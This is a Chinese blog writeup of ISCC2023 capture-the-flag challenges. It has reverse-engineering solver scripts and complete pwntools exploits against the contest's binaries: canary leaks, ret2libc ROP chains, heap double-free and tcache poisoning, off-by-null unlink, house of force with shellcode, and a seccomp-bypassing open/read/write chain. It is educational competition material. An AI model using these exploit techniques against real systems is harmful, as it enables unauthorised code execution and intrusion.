ISCC2023 练武题部分RE&PWN writeup

ISCC2023 练武题部分RE&PWN writeup

Reverse

JustDoIt

查看程序信息是32位的exe文件,直接IDA中打开,对其进行分析后将一些函数和变量重命名便于分析
iscc2023-0
iscc2023-1
发现主要的加密逻辑在encode函数中,input的内容经过encode加密后和data进行比较,对encode的函数的算法进行逆向,再将data和key传入即可解密,编写脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include<stdio.h>
#include<string.h>

void decrypt(char *input, char *key, int len)
{
int i, j, k, m, v4;
for (m = len - 1; m > 0; --m) {
input[m] ^= *key;
input[m] -= key[m % 4] % 5;
input[m] = input[m] + key[2] % 6 + key[3] / 6;
input[m] -= key[1] / 7 + *key % 7;
}
for (k = len - 1; k > 0; --k) {
input[k] -= k;
}
v4 = input[len - 1];
for (j = len - 2; j >= 0; --j) {
input[j + 1] = input[j];
}
input[0] = v4;
for (i = 0; i < len; ++i) {
input[i] += 60;
}
}

int main(){
char data[] = {
0x17, 0x44, 0x44, 0x0F, 0x5E, 0x0A, 0x08, 0x0A, 0x06, 0x5F, 0x08, 0x18, 0x57, 0x03, 0x1A ,0x69
};
char key[] = "ISCC";
decrypt(data,key,16);
printf("%s",data);
}

变形记

查看程序信息是32位的exe文件,IDA打开后发现程序应该是经过高优化的cpp,在程序中发现等号开头的字符串,可以猜测是逆序后的base64编码,但整体静态分析困难于是采用动态调试进行分析
输入8个a后跟踪输入内容,发现在后续执行出现了a8还有YTg=,也就是a8的base64编码

iscc2023-2

之后又出现了程序中明文逆序后的base64

iscc2023-3

猜测程序会根据输入字母连续的数量,变成对应的字母+数字形式,base64后与明文逆序后的base64进行比较,如果相等则输入正确,之后通过多个输入样例验证猜想,发现基本一致,如果字母只有一个,没有出现连续,则没有后面的数字

iscc2023-4

因此可以编写解密脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import base64
enc = '=M3YzVlQ5N2c6FWeRJTYzZnQhJjQ'
enc = enc[::-1]
txt = base64.b64decode(enc).decode('utf-8')

#print(txt)

num = '0123456789'
p = ''
for i in range(len(txt)-1):
if txt[i] in num:
continue
if txt[i+1] not in num:
p += txt[i]
else:
p += txt[i]*(ord(txt[i+1])-0x30)
#print(p)

print('ISCC{'+p+txt[len(txt)-1]+'}')

《狂彪》-1

首先对synthesis程序进行逆向分析64位的ELF文件,程序逻辑中发现需要material和product并且需要反应过程,查看另外两个文件发现是Cairo Reverse,从recipe获取必要func的类型的参数,func get_processx一共有两种类型,一种是平方,另一种是三次方

iscc2023-5

从recipe_compiled.json获取大质数以及不同材料对应的参数

iscc2023-6

编写脚本求上述所需内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Util.number import long_to_bytes
def get1(x,y):
p = 0x800000000000011000000000000000000000000000000000000000000000001
t = y - p
flag = long_to_bytes(x + t ** 2)
print(flag)

def get2(x,y):
p = 0x800000000000011000000000000000000000000000000000000000000000001
t = p - y
flag = long_to_bytes(x + t ** 3)
print(flag)

get1(0x342d632f16ffb39ea1c9ff43c5fd,0x800000000000010fffffffffffffffffffffffffffffffffffff86d97ac3b68)
get1(0x4168c574ea889d901813f732,0x800000000000010fffffffffffffffffffffffffffffffffffffdd7996ba75d)
get1(0x537660c40b480f3f9d536943af3d1d,0x800000000000010ffffffffffffffffffffffffffffffffffefdab85793eef8)
get1(0x6f660865f9b7ac5f2151347c1dfa63ff74f2d353a9e012f36603f26e69bb81,0x800000000000010ffffffffffffffffffc7a968ba59673b1ccc65657cc46597)
get1(0x5769491b82af24d9c7a51fea1f3dfd,0x800000000000010fffffffffffffffffffffffffffffffffff96a87dcc85c68)
get1(0x4f765a4dd1b64b37bfffee543fe821901b91bffcfb,0x800000000000010fffffffffffffffffffffffffffffca971685c93ddca6676)
get1(0x4469656c732d416c646471de4768244dbc0502ad,0x800000000000010fffffffffffffffffffffffffffffffffffffeffdeeca462)
get1(0x4f6c60bd9cb557174a4b36d29d740d45e3,0x800000000000010fffffffffffffffffffffffffffffffffdd768b9a5c3a2ad)
get2(0x4b72494bd06e442a4b6e3337e5c3554881796337902326,0x800000000000010ffffffffffffffffffffffffffffffffff8b79567c93dccf)
get2(0x526f71b17463ac25adc0329705cbaff72086423381e19e9207f75726,0x800000000000010fffffffffffffffffffffffffffffff86ad759a3cb59bbcf)
get2(0x4744387d915d3e20eb63195f4ee8e18d86,0x800000000000010fffffffffffffffffffffffffffffffffffffc6978b46977)
get2(0x2046616c629a738c4fa8c39659665c754c516e,0x800000000000010fffffffffffffffffffffffffffffffffffffdd78b3c6689)
get2(0x4c73b9f514a9afdf757e18020f8cae,0x800000000000010fffffffffffffffffffffffffffffffffffffff87a9756b5)
get2(0x46694cdd71c40446da2dd7241b54f1acb0a0882da7f2a1736e4560416e,0x800000000000010ffffffffffffffffffffffffffffff77d5936eee1cc5c1c9)
get2(0x1c87779e71ce885c2c59b33bde07571630f7,0x800000000000010ffffffffffffffffffffffffffffffffffff6c95738b199a)
get2(0x476c61736572293f6be76d101d052d743a5fbf,0x800000000000010fffffffffffffffffffffffffffffffffffffffe68719067)

iscc2023-7

得到了反应原料、反应步骤。之后根据material和product搜索4-chloroisatin制Ammosamide B的方法

iscc2023-8

发现整个只用到了Wittig Reaction,Rosenmund-von Braun Reaction,Fischer-Speier Esterification三个反应分别对应process3,8,12,将程序原数按process顺序计算后,带入va发现成功过判断,最后带入getflag函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <iostream>
#include <string>

__int64 __fastcall Material(__int64 a1)
{
return a1 + 0xEC65771672229LL;
}

__int64 __fastcall process3(__int64 a1)
{
return a1 ^ 0x9625A51F09LL;
}

__int64 __fastcall process8(__int64 a1)
{
return a1 + 0x2B26652918LL;
}

__int64 __fastcall process12(__int64 a1)
{
return a1 ^ 0x797CD6F373251D89LL;
}

int __fastcall get_flag(__int64 a1, const char *a2, const char *a3)
{
printf("%s%d_%s_%lld_%s%s\n", "ISCC{", (a1 % 100000 % 2) ^ (2 * (a1 % 100000)), a2, a1, a3, "}");
return putchar(10);
}

using namespace std;

int main() {
__int64 material = 0x796B159ACD626B88;
material = Material(material);
material = process3(material);
material = process8(material);
material = process12(material);
printf("%llx\n",material);
get_flag(0x50d7c32f4a659,"4-chloroisatin","Ammosamide B");
}

奇门遁甲

按顺序进不同的门能获得碎片,switch里一共有8个,按照程序逻辑顺序,也就是order的12345678,取出函数内字符串后拼起来套上ISCC{}即可。

iscc2023-9

iscc2023-11

如果硬要探究逻辑部分也可以,程序很长很复杂,动调然后直接找check部分,与程序中出现的明文值比较
翻找上面函数有md5加密的函数,通过对常量值交叉引用发现对常量值进行了魔改,也就是按照程序逻辑顺序得到的字符串拼接起来,经过程序内魔改常量的md5加密后于明文值比较。

Convert

对程序简单分析重命名后可以发现,整体只有一个encode函数对输入做了加密,之后与v8进行比较,因此只需要探究encode函数算法,对其算法进行逆向即可

iscc2023-12

iscc2023-14

观察其内部主要算法涉及取余,采用爆破更加合适,编写脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
data = [0x28, 0x30, 0x24, 0x24, 0x62, 0x22, 0x44, 0x38, 0x15, 0x3D, 0x4B, 0x1A, 0x7A, 0x43, 0x63, 0x60, 0x23, 0x5C, 0x3A, 0x47, 0x47, 0x33, 0x73]
strs = ""
for j in range(23):
if j >= 20:
strs += chr(data[j]-j+32)
else:
k = j % 4
for i in range(128):
final = i
i-=32
i+=j
if j//4 == 0:
temp =i + (k ^ -(ord("ISCC"[k]) % 4))
if temp == data[j]:
print(j,final)
strs += chr(final)
break
elif j//4 == 1:
temp =i + (ord("ISCC"[k]) % 5)
if temp == data[j]:
print(j,final)
strs += chr(final)
break
elif j//4 == 2:
temp = i + (2*k)
if temp == data[j]:
print(j,final)
strs += chr(final)
break
elif j//4 == 3:
temp = i + data[k+4]
if temp == data[j]:
print(j,final)
strs += chr(final)
break
elif j//4 == 4:
temp = i + (ord("ISCC"[k]) // 5)
if temp == data[j]:
print(j,final)
strs += chr(final)
break
print(strs)

Pull the Wool Over People’s Eyes

IDA打开后发现又是与前面题类似的cpp文件,通过静态+动调先对程序的基本功能进行分析,对相应变量及函数进行重命名,找到了如下两个关键函数和字符串,以及进行加密逻辑的异或运算

iscc2023-15

发现输入长度为20,输入流紧接着的sort_string函数是对里面明文字符串YouAresoClever进行ascii从小到大排序之后,与输入两者异或得到另一个data,之后对其进行二进制转化,与程序中的明文二进制进行比较。

iscc2023-16

判断是与程序中明文0和1组成的字符串进行比较,因此直接将二进制转化为方便运算的16进制数,编写解密脚本即可

iscc2023-17

1
2
3
4
data = bytearray([0x00,0x00,0x00,0x00,0x00,0x10,0x7b,0x6c,0x22,0x0a,0x2d,0x1e,0x38,0x57,0x51,0x3a,0x5c,0x3e,0x20,0x00])
key = b"ISCC{ACYeeeloorrsuv}"
for i in range(20):
print(chr(data[i] ^ key[i]), end='')

Congratulations

对程序简单分析,发现main中有两个加密函数,进入函数查看功能后,对其进行重命名,发现输入的内容先经过凯撒加密后,再进行自定义加密内容,与data的值进行比较。直接从data逆向算法即可

iscc2023-18

iscc2023-19

iscc2023-20

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <iostream>

void decrypt(unsigned char *data, char *key, int len){
int i,j,k;
for (i = 0; i < len - 1; ++i){
data[i] ^= key[1];
}
for (j = len - 2; j >= 0; --j){
data[j] += data[j + 1];
}
for (k = 0; k < len - 1; ++k){
data[k] += 30;
}
}

void Caesar(unsigned char *text, int a2){
int i;
char v4[36];
char v5[32];
memcpy(v5, "abcdefghijklmnopqrstuvwxyz", 26);
memcpy(v4, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", 26);
for ( i = 0; ; ++i )
{
if ( !text[i] )
break;
if ( text[i] < 97 || text[i] > 122 )
{
if ( text[i] >= 65 && text[i] <= 90 )
text[i] = v4[(text[i] - 65 + a2 + 26) % 26];
}
else
{
text[i] = v5[(text[i] - 97 + a2 + 26) % 26];
}
}
}

int main() {
unsigned char data[26] = {
0xA5, 0x43, 0x53, 0x94, 0x50, 0x41, 0x6A, 0xEF, 0x7D, 0x8C, 0xB9, 0x61, 0xA9, 0x89, 0x17, 0x93,
0x70, 0x70, 0xE5, 0x60, 0xB5, 0x49, 0xA6, 0x78, 0xF7, 0x5F,
};
char key[] = "ISCC";
int len = 26;
decrypt(data,key,len);
Caesar(data,1);
for (unsigned char i : data) {
printf("%c",i);
}
}

最后手动补上一个后花括号

CrackMePlease

拿到程序后先简单动调分析一下逻辑,发现data被进行一些加密操作后,最后送到Str1中与输入进行比较。所以随便输入之后,直接断点断在字符串比较处,观察Str1内存的值即可

iscc2023-21

iscc2023-22

把后面{EASY}去掉即可ISCC{agyeU/m)}

Pwn

三个愿望

随机数种子可以覆盖,调试找canary位置,secondwish泄露canary,thirdwish填充+canary返回到后门函数,编写解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from ctypes import *
context.log_level = "debug"

p = remote('59.110.164.72',10001)
#p = process('./makewishes')
elf = cdll.LoadLibrary('libc.so.6')
elf.srand(1)
number = str(elf.rand() % 9 + 1)

def send_num():
p.recvuntil('Please give me a number!\n')
p.sendline(number)

backdoor = 0x4011D6

p.recvuntil('Now you can make your first wish\n')
padding = b'a'*14 + p32(1) + p32(1)
p.send(padding)

send_num()

p.recvuntil('Now you can make your second wish!\n')
leak_canary = b'%11$p'
p.sendline(leak_canary)
canary = int(p.recv(18),16)
print (hex(canary))

send_num()

p.recvuntil('Now you can make your final wish!\n')
payload = b'a'*40 + p64(canary) + b'a'*8 + p64(backdoor)
p.sendline(payload)
p.interactive()

Login

ret2libc ,第一个read填充后覆盖判断,进入第二个read填充,print_name函数memcpy有栈溢出,先泄露puts地址计算偏移,返回到main函数,再重新执行一遍到print_name直接返回system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.log_level = "debug"

p = remote('59.110.164.72',10000)
elf = ELF('./Login')
libc = ELF("./libc-2.23.so")
#p = process('./Login')

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

pop_rdi = 0x4008c3
main_addr = 0x400796

def username(name):
p.recvuntil("input the username:\n")
p.send(name)

def password(payload):
p.recvuntil("input the password:\n")
p.send(payload)

name = b'a'*28 + p32(365696460)
username(name)

payload1 = b'a'*40 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
password(payload1)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

libc_base = puts_addr-libc.sym['puts']
sys_addr = libc.sym['system']+libc_base
bin_sh = libc.search(b'/bin/sh').__next__()+libc_base

username(name)
payload2 = b'a'*40 + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr) + p64(main_addr)
password(payload2)
p.interactive()

第一用笔-1

第一个函数中文件code.txt在服务器上,要验证和输入内容相同,根据提示是笔法九用
顿笔、挫笔、驭锋、蹲锋 、足存锋、衄锋、趯锋、按锋、揭笔按顺序拼音不够8字符末尾填充0来绕过
第二个函数存在栈溢出,但是溢出很小应该要先跳到func_101101再ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context.log_level = "debug"

p = remote('59.110.164.72',10002)
elf = ELF('./usage_of_pen')
libc = ELF("./libc.so.6")
# p = process('./usage_of_pen')

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

main = 0x400B96
pop_rdi = 0x400c53
func_read = 0x400B0F

p.recvuntil('!')
stroke = 'dunbi000cuobi000yufeng00dunfeng0cunfeng0nvfeng00yuefeng0anfeng00jiebi000'
p.send(stroke)

p.recvuntil('or you can look for other space\n')
payload1 = b'a'*40 + p64(func_read)
p.send(payload1)

payload2 = b'a'*40 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(func_read)
p.send(payload2)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

libc_base = puts_addr-libc.sym['puts']
sys_addr = libc.sym['system']+libc_base
bin_sh = libc.search(b'/bin/sh').__next__()+libc_base

payload3 = b'a'*40 + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr) + p64(func_read)
p.sendline(payload3)
p.interactive()

Double

Double free任意地址写绕过check,后面有两个字节的溢出,过判断已经给了栈变量地址,取其低位覆盖rpb低位字节实现栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#p = process("./attachment-32")
p = remote("59.110.164.72",10021)
elf=ELF('./attachment-32')
# gdb.attach(p)

def add(index,size):
p.sendafter("请选择:",'1')
p.sendafter("请输入序号:",str(index))
p.sendafter("请输入大小:",str(size))

def free(index):
p.sendafter("请选择:",'2')
p.sendafter("请输入序号:",str(index))

def show(index):
p.sendafter("请选择:",'3')
p.sendafter("请输入序号:",str(index))

def edit(index,Content):
p.sendafter("请选择:",'4')
p.sendafter("请输入序号:",str(index))
p.sendafter("请输入编辑内容:",Content)

def bye():
p.sendafter("请选择:",'5')

add(0,0x60) #chunk0
add(1,0x60) #chunk1

free(0)
free(1)
free(0) #double free
add(0,0x60)
check_addr = 0x6021d8
edit(0,p64(check_addr)) #edit chunk fd->bss

add(1,0x60)
add(2,0x60)
add(3,0x60)

check_num = p32(0x15CC15CC) + b'a'*60 + p32(0xCC51CC51)
edit(3,check_num) #pass check
bye() #break

p.recvuntil("reward: ")
buf_addr=int(p.recvuntil('\n',drop=True),16)
# print(hex(buf_addr))
buf_low = buf_addr & 0xffff
# print(hex(buf_low))

main = 0x400A24
pop_rdi = 0x400cb3
binsh = 0x400CD8
shell = 0x4008EB

payload = p64(pop_rdi) + p64(binsh) + p64(shell) + p64(main) + p16(buf_low-0x8)
p.sendafter('say:',payload)
p.interactive()

困局

沙盒,禁用了execve不能用system了

iscc2023-23

iscc2023-24

考虑orw/shellcode,先泄露canary,再利用rop泄露基地址,之后再构造orw的rop即可,read函数读入的够长放得下rop链,但是主要需要找一个位置写flag,思路有很多,我这里用gets写到bss段利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
#p = process("./Trapped")
elf = ELF('./Trapped')
p = remote('59.110.164.72',10066)
libc = ELF('./libc.so.6')
# gdb.attach(p)

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

talk_addr = 0x400777
pop_rdi = 0x400a23

def send_canary(text):
p.recvuntil('This is a larger box\n')
p.send(text)

def recv_canary():
canary = int(p.recvuntil('00'),16)
print (hex(canary))
return canary

def talk(text):
p.recvuntil('We have a lot to talk about\n')
p.send(text)

leak_canary = b'%9$p'
send_canary(leak_canary)

first = b'I want to leak canary'
talk(first)

canary = recv_canary()

send_canary(leak_canary)

payload1 = b'a'*40 + p64(canary) + b'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(talk_addr)
talk(payload1)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#print(hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
gets_addr = libc_base + libc.sym["gets"]
open_addr = libc_base + libc.sym["open"]
read_addr = libc_base + libc.sym["read"]
write_addr = libc_base + libc.sym["write"]

pop_rsi = libc_base + 0x202f8
pop_rdx = libc_base + 0x1b92
bss = 0x601060

payload3 = b'a'*40 + p64(canary) + b'a'*8 + p64(pop_rdi) + p64(bss) + p64(gets_addr)
payload3 += p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload3 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss+30) + p64(pop_rdx) + p64(50) + p64(read_addr)
payload3 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss+30) + p64(pop_rdx) + p64(50) + p64(write_addr)
talk(payload3)
p.sendline(b'flag\0')

p.interactive()

Eat_num

纯例题作用,ret2dlresolve,利用pwntools自带的工具实现更方便的漏洞利用,编写脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level = 'debug'
context.binary = elf = ELF("./attachment-38")
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])

#p = process("./attachment-38")
p = remote('59.110.164.72',10067)

rop.raw(b'a' * 76)
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
#log.info(rop.dump())

p.sendline(rop.chain())
p.sendline(dlresolve.payload)

p.interactive()

SIMS

iscc2023-25

先绕过判断,unsortbin+show()泄露libc_base,doublefree任意改写free_hook执行system ,由于libc引入了tcache,因此需要先填满tcache后才能用到fastbin,编写脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import*
context(arch='amd64',log_level = 'debug')

libc = ELF('./libc.so.6')
elf = ELF('./SIMS')
#p = process('./SIMS')
#gdb.attach(p)
p = remote('59.110.164.72',10085)

def add(size):
p.sendlineafter('please choose one!','1')
p.sendlineafter('Age of Stu:',str(size))

def dele(idx):
p.sendlineafter('please choose one!','2')
p.sendafter('Index:',str(idx))

def edit(idx,content):
p.sendlineafter('please choose one!','3')
p.sendafter('Index:',str(idx))
p.sendafter('Content of Stu:',content)

def show(idx):
p.sendlineafter('please choose one!','4')
p.sendafter('Index:',str(idx))

def tcache_heap(size):
for i in range(7):
add(size)

def tcache_bin():
for i in range(7):
dele(i)

random = 0x6b8b4567 #debug to get
xor_num = 0x15CC15CC

p.sendlineafter('password:',str(random ^ xor_num))

add(2048)
add(32)
dele(0) #unsortbin
dele(1)
show(0) #leak

main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) #+96
libc_base = main_arena - 96 - 0x3EBC40 #malloc_trim
sys_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym["__free_hook"]
#print(hex(main_arena))

tcache_heap(64)
add(64)
add(64)
add(64)

tcache_bin()

dele(7)
dele(8)
dele(7)

tcache_heap(64)
add(64)
edit(7,p64(free_hook))
add(64)
add(64)
edit(9,"/bin/sh\x00")
add(64)# 10fake_chunk
edit(10,p64(sys_addr))
dele(9)

p.interactive()

chef

iscc2023-26

iscc2023-27

结尾content的内容补0,用off-by-null实现unlink,unsortbin泄露基地址后,改fd实现任意地址写后malloc_hook+onegadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
p = process("./chef")
p = remote("59.110.164.72",10031)
#elf=ELF('./chef')
libc=ELF('libc-2.23.so')
#gdb.attach(p)

def skip():
p.sendafter("Your choice:",'4')
def add(size,name):
p.sendafter("Your choice:",'2')
p.sendafter("Please enter the price of food:",str(size))
p.sendafter("Please enter the name of food:",name)
def change(index,size,name):
p.sendafter("Your choice:",'3')
p.sendafter("Please enter the index of food:",str(index))
p.sendafter("Please enter the price of food :",str(size))
p.sendafter("Please enter the name of food:",name)
def remove(index):
p.sendafter("Your choice:",'4')
p.sendafter("Please enter the index of food:",str(index))
def show():
p.sendafter("Your choice:",'1')
def end():
p.sendafter("Your choice:",'5')

skip()
add(0x80,'AAAA') #A,0
add(0x68,'BBBB') #B,1
add(0xf0,'CCCC') #C,2
add(0x10,'DDDD') #D,3 padding to get unsortbin
remove(0)

change(1,0x68,b'\x00'*0x60+p64(0x100))
remove(2)
add(0x80,'EEEE')

show() #leak in 1

main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) #+88
libc_base = main_arena - 88 - 0x3C4B20 #malloc_trim
malloc_hook=libc_base+libc.symbols['__malloc_hook']
realloc=libc_base+libc.symbols['realloc']
#print(hex(main_arena))
fake_chunk = libc_base + 0x3c4aed
gadget=[0x45206,0x4525a,0x4525a,0xf0897]
one_gadget = libc_base + gadget[2]

add(0x68,'FFFF')
add(0x68,'GGGG')
add(0x68,'HHHH')
remove(2)
change(1,0x68,p64(fake_chunk))
remove(4)

add(0x68,'IIII')
add(0x68,b'JJJJ')
add(0x68,b'\x00'*0x13 + p64(one_gadget))
p.send('2')
p.sendafter('food:','16') #malloc to get shell

p.interactive()

第二识势-2

iscc2023-28

保护全关有读写可执行段,考虑shellcode,发现程序里提示的top联想到top_arena,Horse of force绕过check,之后栈溢出+shellcode执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import*
context(arch='amd64',log_level = 'debug')

#elf = ELF('./attachment-34')
p = process('./attachment-34')
p = remote('59.110.164.72',10025)
#gdb.attach(p)

p.recvuntil('Start injecting\n')

p.send(b'\x00'+b'h'*23)
p.recvuntil('materials\n')
s = p.recvuntil('d',drop=True)
top_trunk = int(s)-0x8
print(hex(top_trunk))
p.send('-1')

bsf = 0x6012A0
offset = bsf -0x20
size = offset - top_trunk
print(size)
p.send(str(size))

p.recvuntil('Answer time is close to over\n')
p.send(b'a'*16)
p.recvuntil('Think about whether this is very basic\n')

shellcode = asm(shellcraft.amd64.sh())
p.recvuntil('Direct to destination\n')
payload = shellcode.ljust(124, b'A') + p32(0) + p64(0) + p64(bsf)

p.send(payload)
p.interactive()

ISCC2023 练武题部分RE&PWN writeup
https://beckaf.github.io/2023/07/26/iscc2023/
Author
Beck
Posted on
July 26, 2023
Licensed under
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!